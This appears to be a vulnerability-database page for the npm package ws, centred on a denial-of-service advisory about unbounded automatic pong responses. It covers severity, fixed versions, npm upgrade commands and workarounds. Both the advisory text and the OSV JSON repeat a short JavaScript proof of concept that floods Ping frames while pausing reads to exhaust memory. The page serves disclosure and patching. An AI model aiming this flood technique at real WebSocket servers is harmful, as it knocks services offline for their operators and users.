Vulnerabilities in pkg:npm/ws

PACKAGE
Advisory Identifier: GHSA-37g9-w4hg-h9qr
Advisory Summary

CVE-2026-140009 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Ws libraries in the npm ecosystem. The issue involves memory exhaustion dos via unbounded automatic pong responses. Remediation is available by upgrading affected packages to version 5.2.8, 6.2.7, 7.5.14, 8.23.0.

8 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/ws

8 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/ws. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-37g9-w4hg-h9qr CVE-2026-140009 HIGH ws: Memory exhaustion DoS via unbounded automatic pong responses
GHSA-5v72-xg48-5rpm - HIGH Denial of Service in ws
GHSA-96hv-2xvq-fx4p CVE-2026-48779 HIGH ws: Memory exhaustion DoS from tiny fragments and data chunks
GHSA-58qx-3vcg-4xpx CVE-2026-45736 MODERATE ws: Uninitialized memory disclosure
GHSA-3h5v-q93c-6h6q CVE-2024-37890 HIGH ws affected by a DoS when handling a request with many HTTP headers
GHSA-6fc8-4gx4-v693 CVE-2021-32640 MODERATE ReDoS in Sec-Websocket-Protocol header
GHSA-6663-c963-2gqg CVE-2016-10542 HIGH DoS due to excessively large websocket message in ws
GHSA-2mhh-w6q8-5hxw CVE-2016-10518 LOW Remote Memory Disclosure in ws

CVE-2026-140009 at a Glance

CVE Identifier CVE-2026-140009
GHSA Identifier GHSA-37g9-w4hg-h9qr
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product Ws
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-140009

To remediate this vulnerability, upgrade all affected Ws dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

ws fixed: 5.2.8
npm install ws@5.2.8
ws fixed: 6.2.7
npm install ws@6.2.7
ws fixed: 7.5.14
npm install ws@7.5.14
ws fixed: 8.23.0
npm install ws@8.23.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls ws

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-140009, inspect your project dependencies using npm:

npm ls ws

Analyze the terminal output to locate any version of Ws in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.2.8), your application is affected.

Note: The npm ls ws command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Ws, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact A malicious peer can flood the other peer with Ping frames while stopping reads, forcing it to buffer Pong frames that are automatically sent in response until memory is exhausted, leading to process termination due to OOM. ### Proof of concept ```js import { WebSocket, WebSocketServer } from 'ws'; const wss = new WebSocketServer({ port: 0 }, function () { const data = Buffer.alloc(125); const { port } = wss.address(); const ws = new WebSocket(`ws://localhost:${port}`); ws.on('open', function () { ws.pause(); (function ping() { ws.ping(data, function (err) { if (err) return; ping(); }); })(); }); ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(`client close - code: ${code} reason: ${reason.toString()}`); }); }); wss.on('connection', function (ws) { ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(`server close - code: ${code} reason: ${reason.toString()}`); }); }); ``` ### Patches The vulnerability was fixed in ws@8.23.0 (https://github.com/websockets/ws/commit/ace7248f685b10a87eff882e66c5b37fbee03d63) and backported to ws@7.5.14 (https://github.com/websockets/ws/commit/718c33c8e1ca09a01403eaddea9119b02a63ccfe), ws@6.2.7 (https://github.com/websockets/ws/commit/8a10a6ad25b04b6a02c56d7237792b7e4ade12b7), and ws@5.2.8 (https://github.com/websockets/ws/commit/560e071478550f1227271b09993caff97753f1a1). ### Workarounds In vulnerable versions, the issue can be mitigated by enforcing rate-limiting combined with heartbeats, or by setting the `autoPong` option to `false`, if available. ### Credits The vulnerability was responsibly disclosed by multiple reporters: - [Younghun Ko](https://github.com/koyokr) - [G0r4ni8](https://github.com/kigma00) - [fizzbeom](https://github.com/fizzbeom) - [Huynh Cong Hieu](https://github.com/Drakie14) - [Joseph Devasia](https://github.com/josephdevasia1) - [elba.code](https://github.com/apflffhtm) - [Eshan Singh](https://github.com/R0X4R) - [Zachariah Mithani](https://github.com/zachariah-mithani)

CVE-2026-140009 Affected Ws Versions

4 component(s)
Fixed Versions:
5.2.86.2.77.5.148.23.0
Product / Package Ecosystem Affected Versions Fixed Version
ws
npm
< 5.2.8
5.2.8
ws
npm
≥ 6.0.0
< 6.2.7
6.2.7
ws
npm
≥ 7.0.0
< 7.5.14
7.5.14
ws
npm
≥ 8.0.0
< 8.23.0
8.23.0

References

Frequently Asked Questions

What is CVE-2026-140009?
CVE-2026-140009 is a security vulnerability in Ws involving Memory exhaustion DoS via unbounded automatic pong responses under CWE-400: Uncontrolled Resource Consumption.
Which Ws versions are affected?
Affected versions include releases prior to 5.2.8, 6.2.7, 7.5.14, 8.23.0 across affected packages: ws.
What version fixes CVE-2026-140009?
Upgrading to 5.2.8, 6.2.7, 7.5.14, 8.23.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is ws affected?
Yes, ws is affected in releases prior to 5.2.8, 6.2.7, 7.5.14, 8.23.0. Upgrade your dependency to 5.2.8, 6.2.7, 7.5.14, 8.23.0 or later.
What is the CVSS score of CVE-2026-140009?
CVE-2026-140009 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-140009?
CVE-2026-140009 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check npm dependencies for CVE-2026-140009?
Run the dependency tree command: 'npm ls ws'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-37g9-w4hg-h9qr",
  "modified" : "2026-12-01T18:12:48Z",
  "published" : "2026-12-01T18:12:48Z",
  "aliases" : [ "CVE-2026-140009" ],
  "summary" : "ws: Memory exhaustion DoS via unbounded automatic pong responses",
  "details" : "### Impact\n\nA malicious peer can flood the other peer with Ping frames while stopping reads, forcing it to buffer Pong frames that are automatically sent in response until memory is exhausted, leading to process termination due to OOM.\n\n### Proof of concept\n\n```js\nimport { WebSocket, WebSocketServer } from 'ws';\n\nconst wss = new WebSocketServer({ port: 0 }, function () {\n  const data = Buffer.alloc(125);\n  const { port } = wss.address();\n  const ws = new WebSocket(`ws://localhost:${port}`);\n\n  ws.on('open', function () {\n    ws.pause();\n\n    (function ping() {\n      ws.ping(data, function (err) {\n        if (err) return;\n        ping();\n      });\n    })();\n  });\n\n  ws.on('error', console.error);\n  ws.on('close', function (code, reason) {\n    console.log(`client close - code: ${code} reason: ${reason.toString()}`);\n  });\n});\n\nwss.on('connection', function (ws) {\n  ws.on('error', console.error);\n  ws.on('close', function (code, reason) {\n    console.log(`server close - code: ${code} reason: ${reason.toString()}`);\n  });\n});\n```\n\n### Patches\n\nThe vulnerability was fixed in ws@8.23.0 (https://github.com/websockets/ws/commit/ace7248f685b10a87eff882e66c5b37fbee03d63) and backported to ws@7.5.14 (https://github.com/websockets/ws/commit/718c33c8e1ca09a01403eaddea9119b02a63ccfe), ws@6.2.7 (https://github.com/websockets/ws/commit/8a10a6ad25b04b6a02c56d7237792b7e4ade12b7), and ws@5.2.8 (https://github.com/websockets/ws/commit/560e071478550f1227271b09993caff97753f1a1).\n\n### Workarounds\n\nIn vulnerable versions, the issue can be mitigated by enforcing rate-limiting combined with heartbeats, or by setting the `autoPong` option to `false`, if available.\n\n### Credits\n\nThe vulnerability was responsibly disclosed by multiple reporters:\n\n- [Younghun Ko](https://github.com/koyokr)\n- [G0r4ni8](https://github.com/kigma00)\n- [fizzbeom](https://github.com/fizzbeom)\n- [Huynh Cong Hieu](https://github.com/Drakie14)\n- [Joseph Devasia](https://github.com/josephdevasia1)\n- [elba.code](https://github.com/apflffhtm)\n- [Eshan Singh](https://github.com/R0X4R)\n- [Zachariah Mithani](https://github.com/zachariah-mithani)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "ws"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.2.8"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "ws"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "6.0.0"
      }, {
        "fixed" : "6.2.7"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "ws"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "7.0.0"
      }, {
        "fixed" : "7.5.14"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "ws"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "8.0.0"
      }, {
        "fixed" : "8.23.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/websockets/ws/security/advisories/GHSA-37g9-w4hg-h9qr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-140009"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/websockets/ws/commit/560e071478550f1227271b09993caff97753f1a1"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/websockets/ws/commit/718c33c8e1ca09a01403eaddea9119b02a63ccfe"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/websockets/ws/commit/8a10a6ad25b04b6a02c56d7237792b7e4ade12b7"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/websockets/ws/commit/ace7248f685b10a87eff882e66c5b37fbee03d63"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/websockets/ws"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/websockets/ws/releases/tag/5.2.8"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/websockets/ws/releases/tag/6.2.7"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/websockets/ws/releases/tag/7.5.14"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/websockets/ws/releases/tag/8.23.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400", "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-12-01T18:12:48Z",
    "nvd_published_at" : "2026-11-30T22:17:30Z"
  }
}